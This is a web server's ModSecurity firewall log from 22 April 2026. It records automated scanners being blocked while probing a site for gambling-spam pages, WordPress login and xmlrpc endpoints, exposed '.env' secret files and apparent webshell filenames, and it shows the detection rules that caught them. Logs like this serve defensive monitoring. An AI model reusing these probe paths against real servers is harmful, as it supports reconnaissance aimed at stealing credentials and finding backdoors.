[Wed Apr 22 09:10:28.909220 2026] [:error] [pid 31949:tid 31972] [client 217.182.195.233:36782] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeggBH2WtGZh5JfbMUdRUAAAAxQ"]
[Wed Apr 22 09:10:31.384858 2026] [:error] [pid 31755:tid 31776] [client 217.182.195.233:32784] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aeggBwz2mYMkg3X8q1utpQAAAg0"]
[Wed Apr 22 09:10:33.863636 2026] [:error] [pid 31755:tid 31787] [client 217.182.195.233:32798] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aeggCQz2mYMkg3X8q1utsQAAAhg"]
[Wed Apr 22 09:10:36.333214 2026] [:error] [pid 21682:tid 21728] [client 217.182.195.233:32808] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aeggDJlXWQZUlmPHS3ovqgAAAEU"]
[Wed Apr 22 09:10:38.804371 2026] [:error] [pid 23041:tid 23064] [client 217.182.195.233:32810] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aeggDkTXx_lUa7xwAb4npgAAARQ"]
[Wed Apr 22 09:10:41.690304 2026] [:error] [pid 31756:tid 31801] [client 217.182.195.233:49984] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeggEd_WbkXbHaEfhd33pAAAAkk"]
[Wed Apr 22 09:10:44.197005 2026] [:error] [pid 31756:tid 31793] [client 217.182.195.233:49986] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aeggFN_WbkXbHaEfhd33pgAAAkM"]
[Wed Apr 22 09:10:46.517683 2026] [:error] [pid 31756:tid 31814] [client 217.182.195.233:49998] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aeggFt_WbkXbHaEfhd33qQAAAlY"]
[Wed Apr 22 09:10:48.970691 2026] [:error] [pid 32095:tid 32101] [client 217.182.195.233:50002] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeggGNfu5Cv628YPe5-FKQAAA4M"]
[Wed Apr 22 09:10:51.496467 2026] [:error] [pid 31755:tid 31780] [client 217.182.195.233:55456] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeggGwz2mYMkg3X8q1ut2wAAAhE"]
[Wed Apr 22 09:10:53.915396 2026] [:error] [pid 31755:tid 31769] [client 217.182.195.233:55466] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aeggHQz2mYMkg3X8q1ut4gAAAgY"]
[Wed Apr 22 09:10:56.377689 2026] [:error] [pid 32053:tid 32077] [client 217.182.195.233:55468] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aeggIAzPjXx_ocfbYhtD4QAAA1Y"]
[Wed Apr 22 09:10:58.835087 2026] [:error] [pid 31949:tid 31976] [client 217.182.195.233:55470] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aeggIn2WtGZh5JfbMUdRXgAAAxg"]
[Wed Apr 22 09:11:01.324415 2026] [:error] [pid 31755:tid 31774] [client 217.182.195.233:32860] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeggJQz2mYMkg3X8q1ut7wAAAgs"]
[Wed Apr 22 09:11:03.617760 2026] [:error] [pid 31755:tid 31763] [client 217.182.195.233:32876] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aeggJwz2mYMkg3X8q1ut-QAAAgA"]
[Wed Apr 22 09:11:05.932990 2026] [:error] [pid 31755:tid 31771] [client 217.182.195.233:32886] [client 217.182.195.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aeggKQz2mYMkg3X8q1ut_wAAAgg"]
[Wed Apr 22 10:08:18.941136 2026] [:error] [pid 21682:tid 21732] [client 182.42.105.144:58440] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aegtkplXWQZUlmPHS3pEYwAAAEk"]
[Wed Apr 22 11:43:07.005185 2026] [:error] [pid 32053:tid 32062] [client 101.32.15.141:56254] [client 101.32.15.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aehDywzPjXx_ocfbYhtc_AAAA0c"]
[Wed Apr 22 12:50:43.392692 2026] [:error] [pid 31706:tid 31715] [client 43.130.12.43:39494] [client 43.130.12.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aehTo7GSe9Rnd4Q_z1i2dAAAAcY"]
[Wed Apr 22 15:01:24.614828 2026] [:error] [pid 6252:tid 6336] [client 103.112.239.34:58899] [client 103.112.239.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.112.239.34, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aehyROtGYuiYb1nWBpQEfAAAARg"]
[Wed Apr 22 16:20:01.887081 2026] [:error] [pid 6250:tid 6264] [client 125.94.144.102:52725] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeiEsQ-iZeQkqmQVfj7IUwAAAEo"]
[Wed Apr 22 17:45:25.760168 2026] [:error] [pid 6344:tid 6349] [client 119.28.177.175:52458] [client 119.28.177.175] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aeiYtUDOTF-pkQnDeUmxhAAAAAA"]
[Wed Apr 22 18:42:32.498073 2026] [:error] [pid 6344:tid 6367] [client 43.157.170.126:47856] [client 43.157.170.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeimGEDOTF-pkQnDeUnM9wAAABI"]
[Wed Apr 22 19:33:26.525082 2026] [:error] [pid 23776:tid 23787] [client 103.142.255.218:33636] [client 103.142.255.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.142.255.218, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aeiyBrRExf-1pAbSeJvRuQAAAYk"]
[Wed Apr 22 19:33:26.985767 2026] [:error] [pid 23776:tid 23797] [client 103.142.255.218:33646] [client 103.142.255.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.142.255.218, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aeiyBrRExf-1pAbSeJvRvAAAAZM"]
[Wed Apr 22 22:14:22.648835 2026] [:error] [pid 6251:tid 6295] [client 8.213.218.53:59271] [client 8.213.218.53] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aejXvisFAzbyObL-SQ6OEAAAAIo"]
[Wed Apr 22 22:14:23.493785 2026] [:error] [pid 9085:tid 9091] [client 8.213.218.53:59393] [client 8.213.218.53] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.example"] [unique_id "aejXv9-_-or9vQnlWnq0eAAAAUQ"]
[Wed Apr 22 22:53:16.815848 2026] [:error] [pid 23776:tid 23802] [client 45.150.174.91:56766] [client 45.150.174.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.150.174.91, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aejg3LRExf-1pAbSeJsiyAAAAZg"]
[Wed Apr 22 22:53:18.144597 2026] [:error] [pid 23776:tid 23791] [client 45.150.174.91:33620] [client 45.150.174.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.150.174.91, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "aejg3rRExf-1pAbSeJsi0QAAAY0"], referer: http://measureyourbrand.com.au/wp-login.php
[Wed Apr 22 23:15:15.855590 2026] [:error] [pid 6251:tid 6293] [client 43.133.66.51:39788] [client 43.133.66.51] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aejmAysFAzbyObL-SQ6VdAAAAIg"]
[Wed Apr 22 23:36:10.761019 2026] [:error] [pid 23776:tid 23780] [client 4.232.188.102:65241] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "aejq6rRExf-1pAbSeJsviwAAAYI"]
[Wed Apr 22 23:36:12.643290 2026] [:error] [pid 6384:tid 6400] [client 4.232.188.102:65263] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "aejq7D58M3t15ICeWHWX1QAAAM0"]
[Wed Apr 22 23:36:13.729328 2026] [:error] [pid 6384:tid 6387] [client 4.232.188.102:65249] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "aejq7T58M3t15ICeWHWX2QAAAMA"]
[Wed Apr 22 23:36:14.276255 2026] [:error] [pid 6251:tid 6308] [client 4.232.188.102:65260] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "aejq7isFAzbyObL-SQ6X2wAAAJc"]
[Wed Apr 22 23:36:14.935410 2026] [:error] [pid 23776:tid 23786] [client 4.232.188.102:65155] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aejq7rRExf-1pAbSeJsvjAAAAYg"]
[Wed Apr 22 23:36:15.675101 2026] [:error] [pid 9085:tid 9100] [client 4.232.188.102:65269] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aejq79-_-or9vQnlWnrj_QAAAU0"]
[Wed Apr 22 23:36:16.423786 2026] [:error] [pid 9085:tid 9104] [client 4.232.188.102:65234] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aejq8N-_-or9vQnlWnrkAwAAAVE"]
[Wed Apr 22 23:36:17.000477 2026] [:error] [pid 9085:tid 9091] [client 4.232.188.102:65239] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/oLEzRVqmJJPFSucdefault.php"] [unique_id "aejq8N-_-or9vQnlWnrkBgAAAUQ"]
[Wed Apr 22 23:36:17.704980 2026] [:error] [pid 6344:tid 6370] [client 4.232.188.102:65233] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "aejq8UDOTF-pkQnDeUkdMAAAABU"]
[Wed Apr 22 23:36:19.213209 2026] [:error] [pid 9085:tid 9105] [client 4.232.188.102:65158] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "aejq89-_-or9vQnlWnrkDgAAAVI"]
[Wed Apr 22 23:36:20.069021 2026] [:error] [pid 9085:tid 9104] [client 4.232.188.102:65160] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "aejq9N-_-or9vQnlWnrkEgAAAVE"]
[Wed Apr 22 23:36:22.062094 2026] [:error] [pid 6384:tid 6402] [client 4.232.188.102:65217] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7logs.php"] [unique_id "aejq9j58M3t15ICeWHWX3AAAAM8"]
[Wed Apr 22 23:36:23.398844 2026] [:error] [pid 6250:tid 6272] [client 4.232.188.102:65257] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aejq9w-iZeQkqmQVfj4xvAAAAFI"]
[Wed Apr 22 23:36:24.389674 2026] [:error] [pid 23776:tid 23801] [client 4.232.188.102:65173] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aejq-LRExf-1pAbSeJsvoQAAAZc"]
[Wed Apr 22 23:36:25.850743 2026] [:error] [pid 6384:tid 6405] [client 4.232.188.102:65235] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aejq-T58M3t15ICeWHWX4AAAANI"]
[Wed Apr 22 23:36:27.330878 2026] [:error] [pid 6252:tid 6321] [client 4.232.188.102:65159] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "aejq--tGYuiYb1nWBpRrLQAAAQk"]
[Wed Apr 22 23:36:29.548375 2026] [:error] [pid 23776:tid 23791] [client 4.232.188.102:65157] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aejq_bRExf-1pAbSeJsvsQAAAY0"]
[Wed Apr 22 23:36:30.619678 2026] [:error] [pid 23776:tid 23781] [client 4.232.188.102:65190] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aejq_rRExf-1pAbSeJsvtAAAAYM"]
[Wed Apr 22 23:36:32.193000 2026] [:error] [pid 23776:tid 23786] [client 4.232.188.102:65255] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aejrALRExf-1pAbSeJsvuwAAAYg"]
[Wed Apr 22 23:36:32.964386 2026] [:error] [pid 6250:tid 6275] [client 4.232.188.102:65226] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aejrAA-iZeQkqmQVfj4xzAAAAFU"]
[Wed Apr 22 23:36:33.505158 2026] [:error] [pid 23776:tid 23780] [client 4.232.188.102:65152] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctex1.php"] [unique_id "aejrAbRExf-1pAbSeJsvvgAAAYI"]
[Wed Apr 22 23:36:34.203447 2026] [:error] [pid 23776:tid 23787] [client 4.232.188.102:65168] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctex1.php"] [unique_id "aejrArRExf-1pAbSeJsvvwAAAYk"]
